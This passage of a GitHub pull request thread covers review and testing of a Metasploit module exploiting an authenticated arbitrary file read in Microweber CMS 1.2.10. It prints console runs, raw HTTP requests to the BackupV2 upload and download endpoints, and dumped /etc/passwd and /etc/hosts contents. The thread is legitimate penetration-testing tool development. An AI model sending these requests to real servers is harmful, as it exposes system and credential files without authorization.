www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin

[*] Auxiliary module execution completed
msf6 auxiliary(gather/microweber_lfi) > 

Reading a non-existant file is handled as expected:

msf6 auxiliary(gather/microweber_lfi) > run http://admin:password123@192.168.123.1:8000 local_file_path=/etc/missing_file DEFANGED_MODE=false httptrace=true
[*] Running module against 192.168.123.1

[*] Running automatic check ("set AutoCheck false" to disable)
... etc ...
[+] You are logged in.
[*] Uploading /etc/missing_file to the backup folder.
####################
# Request:
####################
GET /api/BackupV2/upload?src=/etc/missing_file HTTP/1.1
Host: 192.168.123.1:8000
User-Agent: Mozilla/5.0 (iPad; CPU OS 15_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Mobile/15E148 Safari/604.1
Cookie: laravel_session=1VhtFk2JDi0BOO4sk7n2EdzYF6V4YK1qCrMcSzQo; remember_web_59ba36addc2b2f9401580f014c7f58ea4e30989d=1%7CcNDmPGC0dWNIeIwN6u49KFz6VZiMZxtWCNHxKt8ju1V8XFGMpPDFvghGrRba%7C%242y%2410%24XhPud8lZZGRi9WCvS7NNOuTA9mmlC51LTZ8Bvzdc2A9.EXC4RAVqe
Referer: http://192.168.123.1:8000/


####################
# Response:
####################
HTTP/1.1 200 OK
Date: Tue, 22 Feb 2022 09:59:50 GMT
Server: Apache/2.4.52 (Debian)
X-Powered-By: PHP/7.4.28
Cache-Control: no-cache, private
Set-Cookie: laravel_session=1VhtFk2JDi0BOO4sk7n2EdzYF6V4YK1qCrMcSzQo; expires=Tue, 22-Feb-2022 11:59:50 GMT; Max-Age=7200; path=/; httponly; samesite=lax
Content-Length: 0
Content-Type: text/html; charset=UTF-8

It looks like user account credentials will receive a Permission denied! error, but it will be treated as a non-existent file

msf6 auxiliary(gather/microweber_lfi) > run http://user:password123@192.168.123.1:8000 local_file_path=/etc/missing_file DEFANGED_MODE=false httptrace=true
 ... etc ...
[+] You are logged in.
[*] Uploading /etc/missing_file to the backup folder.

####################
# Request:
####################
GET /api/BackupV2/upload?src=/etc/missing_file HTTP/1.1
Host: 192.168.123.1:8000
User-Agent: Mozilla/5.0 (iPad; CPU OS 15_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Mobile/15E148 Safari/604.1
Cookie: laravel_session=gWtWvHD0auKHgF2s5VAPDJXtkn146KgDZYkQa5cR; remember_web_59ba36addc2b2f9401580f014c7f58ea4e30989d=2%7CKVznUQQ7G1tE7BWlRTrAdxmUD5NDRy5D8Xvu6KI39ZldXhJNAOkyjqAW8tTX%7C%242y%2410%24GpDvMPdEf9c0nFTH036qHO9DxSf06KuF0qcjmGn5W5ITAlAAk9Zpm
Referer: http://192.168.123.1:8000/


####################
# Response:
####################
HTTP/1.1 200 OK
Date: Tue, 22 Feb 2022 10:00:29 GMT
Server: Apache/2.4.52 (Debian)
X-Powered-By: PHP/7.4.28
Vary: Accept-Encoding
Content-Length: 217
Content-Type: text/html; charset=UTF-8

 
<h1>Error</h1>
<p>Permission denied! You dont have access to see this page. <br />File:/var/www/html/userfiles/modules/admin/backup_v2/BackupV2.php</p>
<p>In /var/www/html/userfiles/modules/microweber/error.php</p>

Potentially the check method/exploit method could be enhanced to work with user accounts, but I'm good to land this for now 👍 If you want to throw up a separate PR to improve that edge-case of providing user credentials, or the referrer being wrong, that would work too 🎉

@adfoster-r7
Copy link
Contributor

adfoster-r7 commented Feb 22, 2022

Just thinking a bit more about the host/referrer edgecase, I wonder if that's more of an issue if the microweber app is behind a load balancer and the public facing/private ips will be different, or when the user specifying specifies a domain to target? 🤔

Adding to /etc/hosts:

192.168.123.1 microweber.example.com

Targeting microweber.example.com and getting the error:

msf6 auxiliary(gather/microweber_lfi) > run http://admin:password123@microweber.example.com:8000 local_file_path=/etc/passwd DEFANGED_MODE=false httptrace=true

...etc...

[+] You are logged in.
[*] Uploading /etc/passwd to the backup folder.
####################
# Request:
####################
GET /api/BackupV2/upload?src=/etc/passwd HTTP/1.1
Host: microweber.example.com:8000
User-Agent: Mozilla/5.0 (iPad; CPU OS 15_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Mobile/15E148 Safari/604.1
Cookie: laravel_session=E2H75wut8ZHBpU0VtGEVjMbV6HdeXA1Ihe38huAf; remember_web_59ba36addc2b2f9401580f014c7f58ea4e30989d=1%7CcNDmPGC0dWNIeIwN6u49KFz6VZiMZxtWCNHxKt8ju1V8XFGMpPDFvghGrRba%7C%242y%2410%24XhPud8lZZGRi9WCvS7NNOuTA9mmlC51LTZ8Bvzdc2A9.EXC4RAVqe
Referer: http://192.168.123.1:8000/


####################
# Response:
####################
HTTP/1.1 403 Forbidden
Date: Tue, 22 Feb 2022 10:22:20 GMT
Server: Apache/2.4.52 (Debian)
X-Powered-By: PHP/7.4.28
Cache-Control: no-cache, private
Set-Cookie: laravel_session=E2H75wut8ZHBpU0VtGEVjMbV6HdeXA1Ihe38huAf; expires=Tue, 22-Feb-2022 12:22:21 GMT; Max-Age=7200; path=/; httponly; samesite=lax
Content-Length: 6662
Content-Type: text/html; charset=UTF-8

<!DOCTYPE html>
<html lang="en">
    <head>
        <meta charset="utf-8">
        <meta name="viewport" content="width=device-width, initial-scale=1">

        <title>Forbidden</title>

        <!-- Fonts -->
        <link rel="preconnect" href="https://fonts.gstatic.com">
        <link href="https://fonts.googleapis.com/css2?family=Nunito&display=swap" rel="stylesheet">

        <style>
            /*! normalize.css v8.0.1 | MIT License | github.com/necolas/normalize.css */html{line-height:1.15;-webkit-text-size-adjust:100%}body{margin:0}a{background-color:transparent}code{font-family:monospace,monospace;font-size:1em}[hidden]{display:none}html{font-family:system-ui,-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Helvetica Neue,Arial,Noto Sans,sans-serif,Apple Color Emoji,Segoe UI Emoji,Segoe UI Symbol,Noto Color Emoji;line-height:1.5}*,:after,:before{box-sizing:border-box;border:0 solid #e2e8f0}a{color:inherit;text-decoration:inherit}code{font-family:Menlo,Monaco,Consolas,Liberation Mono,Courier New,monospace}svg,video{display:block;vertical-align:middle}video{max-width:100%;height:auto}.bg-white{--bg-opacity:1;background-color:#fff;background-color:rgba(255,255,255,var(--bg-opacity))}.bg-gray-100{--bg-opacity:1;background-color:#f7fafc;background-color:rgba(247,250,252,var(--bg-opacity))}.border-gray-200{--border-opacity:1;border-color:#edf2f7;border-color:rgba(237,242,247,var(--border-opacity))}.border-gray-400{--border-opacity:1;border-color:#cbd5e0;border-color:rgba(203,213,224,var(--border-opacity))}.border-t{border-top-width:1px}.border-r{border-right-width:1px}.flex{display:flex}.grid{display:grid}.hidden{display:none}.items-center{align-items:center}.justify-center{justify-content:center}.font-semibold{font-weight:600}.h-5{height:1.25rem}.h-8{height:2rem}.h-16{height:4rem}.text-sm{font-size:.875rem}.text-lg{font-size:1.125rem}.leading-7{line-height:1.75rem}.mx-auto{margin-left:auto;margin-right:auto}.ml-1{margin-left:.25rem}.mt-2{margin-top:.5rem}.mr-2{margin-right:.5rem}.ml-2{margin-left:.5rem}.mt-4{margin-top:1rem}.ml-4{margin-left:1rem}.mt-8{margin-top:2rem}.ml-12{margin-left:3rem}.-mt-px{margin-top:-1px}.max-w-xl{max-width:36rem}.max-w-6xl{max-width:72rem}.min-h-screen{min-height:100vh}.overflow-hidden{overflow:hidden}.p-6{padding:1.5rem}.py-4{padding-top:1rem;padding-bottom:1rem}.px-4{padding-left:1rem;padding-right:1rem}.px-6{padding-left:1.5rem;padding-right:1.5rem}.pt-8{padding-top:2rem}.fixed{position:fixed}.relative{position:relative}.top-0{top:0}.right-0{right:0}.shadow{box-shadow:0 1px 3px 0 rgba(0,0,0,.1),0 1px 2px 0 rgba(0,0,0,.06)}.text-center{text-align:center}.text-gray-200{--text-opacity:1;color:#edf2f7;color:rgba(237,242,247,var(--text-opacity))}.text-gray-300{--text-opacity:1;color:#e2e8f0;color:rgba(226,232,240,var(--text-opacity))}.text-gray-400{--text-opacity:1;color:#cbd5e0;color:rgba(203,213,224,var(--text-opacity))}.text-gray-500{--text-opacity:1;color:#a0aec0;color:rgba(160,174,192,var(--text-opacity))}.text-gray-600{--text-opacity:1;color:#718096;color:rgba(113,128,150,var(--text-opacity))}.text-gray-700{--text-opacity:1;color:#4a5568;color:rgba(74,85,104,var(--text-opacity))}.text-gray-900{--text-opacity:1;color:#1a202c;color:rgba(26,32,44,var(--text-opacity))}.uppercase{text-transform:uppercase}.underline{text-decoration:underline}.antialiased{-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.tracking-wider{letter-spacing:.05em}.w-5{width:1.25rem}.w-8{width:2rem}.w-auto{width:auto}.grid-cols-1{grid-template-columns:repeat(1,minmax(0,1fr))}@-webkit-keyframes spin{0%{transform:rotate(0deg)}to{transform:rotate(1turn)}}@keyframes  spin{0%{transform:rotate(0deg)}to{transform:rotate(1turn)}}@-webkit-keyframes ping{0%{transform:scale(1);opacity:1}75%,to{transform:scale(2);opacity:0}}@keyframes  ping{0%{transform:scale(1);opacity:1}75%,to{transform:scale(2);opacity:0}}@-webkit-keyframes pulse{0%,to{opacity:1}50%{opacity:.5}}@keyframes  pulse{0%,to{opacity:1}50%{opacity:.5}}@-webkit-keyframes bounce{0%,to{transform:translateY(-25%);-webkit-animation-timing-function:cubic-bezier(.8,0,1,1);animation-timing-function:cubic-bezier(.8,0,1,1)}50%{transform:translateY(0);-webkit-animation-timing-function:cubic-bezier(0,0,.2,1);animation-timing-function:cubic-bezier(0,0,.2,1)}}@keyframes  bounce{0%,to{transform:translateY(-25%);-webkit-animation-timing-function:cubic-bezier(.8,0,1,1);animation-timing-function:cubic-bezier(.8,0,1,1)}50%{transform:translateY(0);-webkit-animation-timing-function:cubic-bezier(0,0,.2,1);animation-timing-function:cubic-bezier(0,0,.2,1)}}@media (min-width:640px){.sm\:rounded-lg{border-radius:.5rem}.sm\:block{display:block}.sm\:items-center{align-items:center}.sm\:justify-start{justify-content:flex-start}.sm\:justify-between{justify-content:space-between}.sm\:h-20{height:5rem}.sm\:ml-0{margin-left:0}.sm\:px-6{padding-left:1.5rem;padding-right:1.5rem}.sm\:pt-0{padding-top:0}.sm\:text-left{text-align:left}.sm\:text-right{text-align:right}}@media (min-width:768px){.md\:border-t-0{border-top-width:0}.md\:border-l{border-left-width:1px}.md\:grid-cols-2{grid-template-columns:repeat(2,minmax(0,1fr))}}@media (min-width:1024px){.lg\:px-8{padding-left:2rem;padding-right:2rem}}@media (prefers-color-scheme:dark){.dark\:bg-gray-800{--bg-opacity:1;background-color:#2d3748;background-color:rgba(45,55,72,var(--bg-opacity))}.dark\:bg-gray-900{--bg-opacity:1;background-color:#1a202c;background-color:rgba(26,32,44,var(--bg-opacity))}.dark\:border-gray-700{--border-opacity:1;border-color:#4a5568;border-color:rgba(74,85,104,var(--border-opacity))}.dark\:text-white{--text-opacity:1;color:#fff;color:rgba(255,255,255,var(--text-opacity))}.dark\:text-gray-400{--text-opacity:1;color:#cbd5e0;color:rgba(203,213,224,var(--text-opacity))}}
        </style>

        <style>
            body {
                font-family: 'Nunito', sans-serif;
            }
        </style>
    </head>
    <body class="antialiased">
        <div class="relative flex items-top justify-center min-h-screen bg-gray-100 dark:bg-gray-900 sm:items-center sm:pt-0">
            <div class="max-w-xl mx-auto sm:px-6 lg:px-8">
                <div class="flex items-center pt-8 sm:justify-start sm:pt-0">
                    <div class="px-4 text-lg text-gray-500 border-r border-gray-400 tracking-wider">
                        403                    </div>

                    <div class="ml-4 text-lg text-gray-500 uppercase tracking-wider">
                        Unauthorized action. The API function requires authentication.                    </div>
                </div>
            </div>
        </div>
    </body>
</html>

[-] Auxiliary aborted due to failure: unknown: <!DOCTYPE html>
.. etc ..

@talhakarakumru
Copy link
Contributor Author

talhakarakumru commented Feb 22, 2022

@adfoster-r7 Thanks again. Non-administrator users cannot exploit this vulnerability due to the permission check:
https://github.com/microweber/microweber/blob/07786d8605fe84685ae3f7efadca039c7ab85f77/userfiles/modules/admin/backup_v2/BackupV2.php#L133

I changed the Nginx configuration.

server {
    listen 80;
    listen [::]:80;
    root /var/www/microweber;
    server_name example.microweber.com;
    index  index.php index.html index.htm;

    client_max_body_size 100M;

    location / {
        try_files $uri $uri/ /index.php?$args;
    }

    location ~ \.php$ {
         include snippets/fastcgi-php.conf;
         fastcgi_pass unix:/var/run/php/php7.4-fpm.sock;
         fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
         include fastcgi_params;
    }
}

Added the example.microweber.com to the hosts file and tried to reproduce the steps.

GET /api/BackupV2/download?file=passwd HTTP/1.1
Host: example.microweber.com
Accept: text/javascript, application/javascript, application/ecmascript, application/x-ecmascript, */*; q=0.01
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36
X-Requested-With: XMLHttpRequest
Referer: http://example.microweber.com/admin/
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: laravel_session=aqLhOQjqyvF53LmAGSipahbbDhWsBo2MrJ0uuyh2; remember_web_59ba36addc2b2f9401580f014c7f58ea4e30989d=1%7CFW5hrQuPMWEkWv1b8X09Ero2Bq3ZoFBXNKWkCpNpTAaltdX5NgrVBQCItwOj%7C%242y%2410%24.ag30XgeuoFHZnkP%2Fz7nKe0jyqu4ojm14yeiIkCfXvIZfGijpGcsO;
Connection: close

It works!

HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Tue, 22 Feb 2022 10:37:51 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Cache-Control: public
Content-Description: File Transfer
Content-Disposition: attachment; filename=passwd
Content-Length: 3169

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
...

Let's look at the problem in Metasploit:

As you can see the value in the Referer header is http://192.168.188.132/.

####################
# Request:
####################
GET /api/BackupV2/upload?src=/etc/hosts HTTP/1.1
Host: example.microweber.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12.0; rv:94.0) Gecko/20100101 Firefox/94.0
Cookie: laravel_session=K7otvEbrOWtOLbtW2x42S0pZtxZckOvDSaCf0WHi; remember_web_59ba36addc2b2f9401580f014c7f58ea4e30989d=1%7CFW5hrQuPMWEkWv1b8X09Ero2Bq3ZoFBXNKWkCpNpTAaltdX5NgrVBQCItwOj%7C%242y%2410%24.ag30XgeuoFHZnkP%2Fz7nKe0jyqu4ojm14yeiIkCfXvIZfGijpGcsO
Referer: http://192.168.188.132/

I'm going to update the code.

@talhakarakumru
Copy link
Contributor Author

talhakarakumru commented Feb 22, 2022

@adfoster-r7 I added VHOST compatibility support to module. If you get it working, the module can be merged. I'm also open to your suggestion.

@talhakarakumru
Copy link
Contributor Author

@adfoster-r7 this is the proof of concept:

msf6 auxiliary(gather/microweber_lfi) > set rhost 192.168.188.132
rhost => 192.168.188.132
msf6 auxiliary(gather/microweber_lfi) > set vhost example.microweber.com
vhost => example.microweber.com
msf6 auxiliary(gather/microweber_lfi) > set username admin
username => admin
msf6 auxiliary(gather/microweber_lfi) > set password admin
password => admin
msf6 auxiliary(gather/microweber_lfi) > set local_file_path /etc/hosts
local_file_path => /etc/hosts
msf6 auxiliary(gather/microweber_lfi) > set defanged_mode false
defanged_mode => false
msf6 auxiliary(gather/microweber_lfi) > exploit
[*] Running module against 192.168.188.132

[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if it's Microweber CMS.
[+] Microweber CMS has been detected.
[*] Checking Microweber's version.
[+] Microweber version 1.2.10
[+] The target appears to be vulnerable.
[*] Trying to log in.
[+] You are logged in.
[*] Uploading /etc/hosts to the backup folder.
[+] hosts was moved!
[*] Downloading hosts from the backup folder.
[*] 127.0.0.1 localhost
127.0.1.1 ubuntu-srv-tk

# The following lines are desirable for IPv6 capable hosts
::1     ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

[*] Auxiliary module execution completed

@talhakarakumru
Copy link
Contributor Author

If RHOST is set to a domain name, VHOST is set to the same domain name as well. This is the behavior of Metasploit.

So this case is OK as well:

msf6 auxiliary(gather/microweber_lfi) > options

Module options (auxiliary/gather/microweber_lfi):

   Name             Current Setting  Required  Description
   ----             ---------------  --------  -----------
   DEFANGED_MODE    false            yes       Run in defanged mode
   LOCAL_FILE_PATH  /etc/hosts       yes       The path of the local file.
   PASSWORD         admin            yes       The admin's password for Microweber
   Proxies                           no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS           microweber.com   yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
   RPORT            80               yes       The target port (TCP)
   SSL              false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI        /                yes       The base path for Microweber
   USERNAME         admin            yes       The admin's username for Microweber
   VHOST                             no        HTTP server virtual host
explmsf6 auxiliary(gather/microweber_lfi) > exploit
[*] Running module against 192.168.188.132

[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if it's Microweber CMS.
[+] Microweber CMS has been detected.
[*] Checking Microweber's version.
[+] Microweber version 1.2.10
[+] The target appears to be vulnerable.
[*] Trying to log in.
[+] You are logged in.
[*] Uploading /etc/hosts to the backup folder.
[+] hosts was moved!
[*] Downloading hosts from the backup folder.
[*] 127.0.0.1 localhost
127.0.1.1 ubuntu-srv-tk

# The following lines are desirable for IPv6 capable hosts
::1     ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

[*] Auxiliary module execution completed

@adfoster-r7 adfoster-r7 merged commit dc301a1 into rapid7:master Feb 22, 2022
@adfoster-r7
Copy link
Contributor

Release Notes

Adds a new module auxiliary/gather/microweber_lfi which targets Microweber CMS v1.2.10 for allows arbitrary file reads

@adfoster-r7 adfoster-r7 added the rn-modules release notes for new or majorly enhanced modules label Feb 22, 2022
@adfoster-r7
Copy link
Contributor

@talhak08 Thanks! 🎉

@talhakarakumru talhakarakumru deleted the microweber-lfi branch February 22, 2022 19:07
This pull request was closed.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
docs module rn-modules release notes for new or majorly enhanced modules
Projects
None yet
Development

Successfully merging this pull request may close these issues.

5 participants